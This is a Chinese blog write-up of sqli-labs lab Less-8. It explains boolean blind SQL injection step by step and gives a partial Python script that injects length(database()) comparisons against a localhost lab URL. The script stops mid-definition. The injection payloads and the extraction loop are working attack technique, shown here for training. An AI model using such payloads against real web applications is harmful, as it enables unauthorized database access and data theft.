sqli-labs第八关(布尔盲注)

这篇博客详细介绍了如何使用布尔盲注来解决sqli-labs的第八关,包括获取数据库长度、数据库名、表名及数据的过程。文章强调了布尔盲注需要的耐心,并提供了利用Python的requests库编写的自动化脚本示例,展示了如何根据页面响应判断条件真假,从而获取信息。
摘要由CSDN通过智能技术生成

第八关看标题可知此关可以使用布尔盲注,布尔盲注我的理解是页面不会回显错误,但是注入等式或不等式时通过页面的反应能判断出注入中算式的true或false
布尔盲注的步骤如下:

  1. 获取数据库长度
  2. 获取数据库名
  3. 获取数据库表
  4. 获取表中字段
  5. 获取表中数据

先拿获取数据库长度举例
在这里插入图片描述
在这里插入图片描述
可以看到在length(database())>7时页面正常,length(database())>8时页面异常,即8>7=true,8>8=false,所以数据库名长度为8
再比如获取表名:
在这里插入图片描述
在这里插入图片描述
同理,substr是截取字符串的方法,这里传入三个参数,第一个是被截取的字符串,第二个是开始截取的位置,第三个是截取长度,这里截取出第一个表的第一个字符,发现其等于e时页面回显正常,即第一个表的第一个字符为e,记录下继续试第二个字符…
从这里就可以看出,布尔盲注十分需要耐心,不过像这关也可以让脚本来跑
在这里插入图片描述
可以发现这里请求的响应是html代码,所以页面正常的话一定会有‘you are in’在响应中,再使用request或者requests库就能实现,于是去网上找了脚本简单修改了下,直接贴代码吧

import requests

# 获取数据库名长度
def database_len():
    for i in range(1, 10):
        url = f"http://localhost:90/sqli-labs-master/Less-8/?id=1' and length(database())>{i}"
        r = requests.get(url + '%23')
        if 'You are in' not in r.text:
            print('database_length:', i)
            return i


#获取数据库名
def database_name
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值